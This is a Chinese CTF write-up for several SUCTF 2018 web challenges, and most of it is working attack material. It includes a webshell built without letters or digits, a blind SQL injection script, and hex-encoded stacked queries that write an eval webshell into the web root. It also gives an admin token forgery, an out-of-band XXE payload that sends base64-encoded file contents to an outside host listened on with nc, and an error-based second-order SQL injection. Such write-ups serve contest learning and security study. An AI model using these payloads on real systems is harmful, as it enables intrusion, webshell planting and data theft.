这道题是 HITCON2017 一道题的删减版,拿 Writeup 里的 payload 即可获得 flag
参考文章:https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#baby-h-master-php-2017
参考文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5); foreach ($black_char as $b) { if (stripos($data, $b) !== false){ die("illegal char");
}
}
}
先跑一下判断黑名单过滤了哪些字符
只剩下这几个字符还没被拦截,猜测是只过滤的字母数字跟部分符号,看到这个基本猜到要用无字母数字的方式构造 webshell,还有一个~位运算符还可以利用,参考文章中的方法二,利用汉字然后取反获得所需要的字符
其实括号里边也可以不需要单引号的,部分人被困在这一步上。取反后的第一位是乱码不可见字符,我们就取第二个字符也就是索引1的字符来构造 webshell
接下来就写个脚本,从汉字中选取我们需要利用的字符。这里用了 p 牛的一篇文章作为内容
生成出我们需要的汉字之后,开始构造 webshell
<?php $__=[]; $___=[]; $_=$__==$___;//true = 1 用作索引 $__=~(瞰); $___=$__[$_];//a $__=~(北); $___.=$__[$_].$__[$_];//ss $__=~(的); $___.=$__[$_];//e $__=~(半); $___.=$__[$_];//r $__=~(拾); $___.=$__[$_];//t $____=~(~(_));//_ $__=~(说); $____.=$__[$_];//P $__=~(小); $____.=$__[$_];//O $__=~(次); $____.=$__[$_];//S $__=~(站); $____.=$__[$_];//T $_=$$____; $___($_[_]); ?>
使用的时候记得把我的注释删掉就能用了。最后将 webshell 上传即可,flag 在根目录里
登录之后在用户信息有注入,常见的注入函数都被过滤了,所以只能写个盲注脚本跑,然后发现secure_file_priv的值为/var/www/
说明我们可以通过 sql 注入读取跟写入网站文件。之前的盲注脚本用字符逐位比较的方式觉得效率有点慢,而且部分不可见字符也没法读取出来,所以我将文件内容 hex 编码,而 hex 后只有0123456789abcdf,跑出一个字符最多只需要 32 次。最后将内容 hex 解码即可
import requestsimport stringimport binascii
hex = lambda s: binascii.hexlify(s)
char = '0123456789ABCDEF'
filename = '/var/www/html/bwvs_config/waf.php'c = ''
url = 'http://web.suctf.asuri.org:85/user/user.php?id=128-if(hex(load_file(0x%s))like(0x%s),1,2)'for _ in xrange(10000): for i in char:
payload = c + i + '%'
_url = url % (hex(filename), hex(payload))
# print payload
#print _url
r = requests.get(_url, cookies={'PHPSESSID': 'irv5n2c39anu25lfp5l42i7ld2'}) if '127' in r.content: print '......' + payload c = c + i
#if len(c) %2 == 0:
# print binascii.unhexlify(c) break
# else:
# print payload
# print c
读取了头像上传文件,发现并没有什么利用点,在/bwvs_config/waf.php中发现过滤 SQL 注入的函数
function waf($str){
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@",$str); return addslashes($str);
}
过滤的函数挺多的,最后读取/user/user.php
这个注入竟然用的是mysqli_multi_query函数,说明我们可以执行多行 SQL 语句,怎么一开始就没盲测出来呢。。。
既然 waf 函数过滤了 select,可以用 set 跟 hex 编码的方式执行 SQL 语句,绕过过滤函数
set @num=0x73656c65637420757365722829;prepare t from @num;execute t;
然后经过into outfile方式将 php 文件写进网站目录
select 0x3c3f706870206576616c28245f524551554553545b273535333332275d293b3f3e into outfile '/var/www/html/favicon/wfox.php' 再次hex编码->set @num=0x73656c65637420307833633366373036383730323036353736363136633238323435663532343535313535343535333534356232373335333533333333333232373564323933623366336520696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f77666f782e70687027;prepare t from @num;execute t;
写入 shell 成功,去根目录找 flag 即可。
扫描发现/.git/目录,使用 dvcs-ripper 工具将 git 文件下载下来,发现只有一个README.md
看来得恢复文件,通过git log查看记录
通过git reset回滚版本
三个 php 文件都是通过扩展加密的,所以没法恢复,opcode.txt只有index.php,class.php,func.php的 opcode 代码,对着 Zend Engine 2 操作码列表这个手册逆了一晚上,就缺少 admin.php 导致没法解题。最后第二天放了 hint,拿到了suenc.so加密扩展文件,丢给团队的逆向牛搞定了解密文件。
下面附上解密出来的文件,index.php 是我手逆的所以有点乱,其他文件我还是贴上解密后的吧。。
index.php
<?php
if(!isset($_SESSION))
{
session_start();
}
echo '...这部分前端内容我就省略不贴了...';
include_once('func.php');
if(isset($_GET['username']))
{
$username = $_GET['username'];
$md5 = md5(get_identify().$username);
$admin = 0;
$token = encrypt($username.'|'.$admin.'|'.$md5);
$_SESSION['sign'] = $md5;
$_SESSION['token'] = $token;
}
showImage(); if(isset($_GET['token']) && isset($_GET['sign']))
{
$token = $_GET['token'];
$sign = $_GET['sign']; echo 'sign : '.$sign.'<br>'; echo 'token: '.$token.'<br>';
$info = explode('|', decrypt($token)); echo decrypt($token);
var_dump($info); if(count($info) == 3)
{ if(md5(get_identify().$info[0]) == $info[2])
{
$sign = $info[1];
$admin = $info[1];
}else{
$admin = $info[1];
}
}
}else{ if(isset($_SESSION['token']) && isset($_SESSION['sign']))
{ echo 'sign : '.$_SESSION['sign'].'<br>'; echo 'token: '.$_SESSION['token'].'<br>';
$token = $_SESSION['token'];
$sign = $_SESSION['sign'];
$info = explode('|', decrypt($token)); if(count($info) == 3)
{ if(md5(get_identify().$info[0]) == $info[2])
{
$sign = $info[1];
$admin = $info[1];
}else{
$admin = $info[1];
} echo '<br>'.$admin;
}
}
} if(isset($admin) && $admin == 3)
{
$_SESSION['auth'] = 'admin'; echo "<a href='admin.php'>Admin</a>";
}
func.php
<?php/**
* Created by PhpStorm.
* User: meizj
* Date: 2018/2/2
* Time: 下午9:25
*/include "class.php";
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");function get_token(){
$token = ''; for($i=0;$i<16;$i++){
$token .= chr(rand(1,255));
} return $token;
}function enc($s){
$token = get_token();
$code1 = openssl_encrypt(string($s),method,key,OPENSSL_RAW_DATA,$token);
$code2 = base64_encode(base64_encode($token."-".$code1)); return $code2;
}function dec($s){ if($cc = base64_decode(base64_decode($s)))
{ if($iv = substr($cc,0,16))
{ if($d = substr($cc,17))
{ if($s = openssl_decrypt($d, method, key, OPENSSL_RAW_DATA,$iv))
{ return $s;
} else
die("error");
} else
return 0;
} else
return 0;
} else
return 0;
}function uploadImage(){ if($_SESSION['auth'] !== "admin"){ die("Auth Failed");
}
$AllowedType = array( "png", "gif", "jpg"
);
$filename = $_FILES['file']['name'];
$filesize = $_FILES['file']['size']; if($filesize > 1000000){ exit("Too large");
}
$fileext = substr($filename, strrpos($filename, '.')+1); if(in_array($fileext,$AllowedType)){
$file = "thumbs/images/".md5(time()."admin").".".$fileext; if(file_exists($file)){ exit("File existed already");
}else{
move_uploaded_file($_FILES['file']['tmp_name'],$file);
}
}else{ exit("Not Allowed Ext");
}
}function viewImage($name){ if($_SESSION['auth'] !== "admin"){ die("Auth Failed");
} new ImageView($name);
}function showImage(){
$obj = new Home("thumbs/images/");
$obj->showImg();
}function to($str) { return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}function re($str) { return substr($str, 0, -ord(substr($str, -1, 1)));
}function getkey(){ return KEY;
}function get_identify(){ return IDENTIFY;
}function encrypt($str){
$key = getkey();
srand(time() / 300);
$token = get_token();
$cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token)); return base64_encode($cipher);
}function decrypt($str){
$decode = base64_decode($str);
$key = getkey();
srand(time() / 300);
$token = get_token();
$bin = hex2bin($str);
$plain = re(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$bin , MCRYPT_MODE_CFB, $token)); return $plain;
}
class.php
<?php/**
* Created by PhpStorm.
* User: meizj
* Date: 2018/2/2
* Time: 下午11:00
*/class ImageView{ private $filename = ""; function __construct($name){
$this->filename = "images/$name";
$this->createThumbnail();
} function createThumbnail(){
$e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size'])?$_GET['size']:25));
system("/usr/bin/convert {$this->filename} --resize $e ./thumbs/{$this->filename}");
} function __toString()
{ // TODO: Implement __toString() method.
return "<a href={$this->filename}>
<img src=./thumbs/{$this->filename}></a>";
}
}class Home{ private $dir = ""; public function __construct($dir){
$this->dir = $dir;
} public function showImg(){
$files = $this->getDirFile($this->dir); foreach ($files as $file){ echo "<img src=$file>";
}
} public function getDirFile($dir){
$files = array(); if(!is_dir($dir)) { return $files;
}
$handle = opendir($dir); if($handle) { while(false !== ($file = readdir($handle))) { if ($file != '.' && $file != '..') {
$filename = $dir . "/" . $file; if(is_file($filename)) {
$files[] = $filename;
}else {
$files = array_merge($files, get_files($filename));
}
}
} // end while
closedir($handle);
} return $files;
}
}
admin.php
<?php/**
* Created by PhpStorm.
* User: meizj
* Date: 2018/2/2
* Time: 下午9:38
*/session_start();if($_SESSION['auth']!=="admin"){ die("Auth Failed!");
}include "func.php";if(isset($_GET['action'])){
$action = $_GET['action']; if($action == "uploadImage"){ include_once "template/upload.php"; if(isset($_FILES['file'])){
uploadImage();
}
}elseif ($action == "viewImage"){
$file = isset($_GET['file'])?$_GET['file']:"23.jpg";
viewImage($file);
}
}
先看index.php,这里会将$token解密,如果$admin==3就有权限访问admin.php,我们在本地生成加密 token
$md5 = md5(get_identify().'aaaaaaaaaaaaaaaaaa');$admin = 3;$token = encrypt('aaaaaaaaaaaaaaaaaa|'.$admin.'|'.$md5);echo $md5;echo '||';echo $token;
然后将生成的 token 跟 sign 去访问即可获得管理员权限
我在这里踩了一晚上的坑,因为我一直是用 windows 环境生成 token,而 windows 跟 linux 的随机数是有差异的,导致加密的结果是错误的。心疼自己...
拿到管理员权限后接着看admin.php,文件上传好像是因为没有目录权限,一直上传不上东西,就算了。viewImage调用了ImageView类,最终通过调用系统命令的方式修改图片大小,这里没有对$filename进行过滤,直接拼接到命令执行中,构造 payload 执行命令
flag 在/etc/flag/
这道题由于时间关系,赛后一小时才做出来,被上传文件的 sig 报错误导了很久。
在show.php中,module 表示要调用的类,args 用作传参,这里用 PHP 自带的类SimpleXMLElement执行 XXE 攻击,但是在实际测试中发现,并不能解析实体,在高版本的 libxml 中,默认是不解析实体的,所以我们传入参数LIBXML_NOENT就能解析实体,但我们传参进去的是字符串而不是常量所以是用不了的,而LIBXML_NOENT的值为 2,所以我们传入 2 即可。实测中发现挺多数字都可以正常解析实体,这个不深入研究。
参考链接:
构造 xxe payload,通过 oob 攻击获得回显
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip/e.xml"> %remote; ]></root>
e.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip:1080/%payload;'>"> %int; %trick;
构造 payload 发送
/show.php?module=SimpleXMLElement&args[]=%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2Fip%3A9999%2Fe.xml%22%3E%0A%25remote%3B%0A%5D%3E%0A%3C%2Froot%3E&args[]=2
nc 监听 1080 端口,成功获取到 index.php 内容,但这个文件并不是重点,重点看function.php跟show.php
function.php
<?phpfunction sql_result($sql,$mysql){ if($result=mysqli_query($mysql,$sql)){
$result_array=mysqli_fetch_all($result); return $result_array;
}else{ echo mysqli_error($mysql); return "Failed";
}
}function upload_file($mysql){ if($_FILES){ if($_FILES['file']['size']>2*1024*1024){ die("File is larger than 2M, forbidden upload");
} if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand()); if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed"); die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed"); die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{ die("Not upload file");
}
}
}function w_addslashes($string){ return addslashes(trim($string));
}function do_api($module,$args){
$class = new ReflectionClass($module);
$a=$class->newInstanceArgs($args);
}?>
show.php
<?php
include("function.php"); include("config.php"); include("calc.php"); if(isset($_GET['action'])&&$_GET['action']=="view"){ if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden."); if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2']; echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql); die("<br>new sig:".$new_sig);
}else{ die("Null filename");
}
}
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']); if($check_sum!==$check_code){
header("Location: login.php");
}
$module=$_GET['module'];
$args=$_GET['args'];
do_api($module,$args);?>
show.php的 view 方法中,限制了 ip 只能是127.0.0.1,说明只能通过 XXE 去触发。这里根据filename获取数据库中的 sig 然后进行 update 操作,但没有对 sig 值进行过滤,导致二次注入。
再看一下function.php中的upload_file上传文件部分,首先他会判断 filename 是否存在,如果不存在就会插入数据库,这里 sig 没有用单引号保护,但是用了 addslashes 进行转义,而我们要插入二次注入的语句必须得有单引号,这个时候就可以用 hex 编码进行绕过。
因为sql_result函数中会输出 sql 错误,所以我们用 updatexml 函数进行报错注入。构造 payload
'or updatexml(1,concat(0,substr((select flag from flag),1,32)),1)#
修改e.xml,获取http://127.0.0.1/show.php?action=view&filename=asczc.php的内容
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=asczc.php"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip:1080/%payload;'>"> %int; %trick;
成功拿到报错注入的内容
file code: 123XPATH syntax error: 'SUCTF{L2DQVutviWff118oyKcDCp9393'<br>new sig:1231563907
因为 flag 长度比较长,所以分段读取,最后读到 flag SUCTF{L2DQVutviWff118oyKcDCp9393GkmnNVFDGTsNvcy5hK9wQxpxMc}
【作者:Wfox 原文链接 SUCTF 2018 Web Writeup】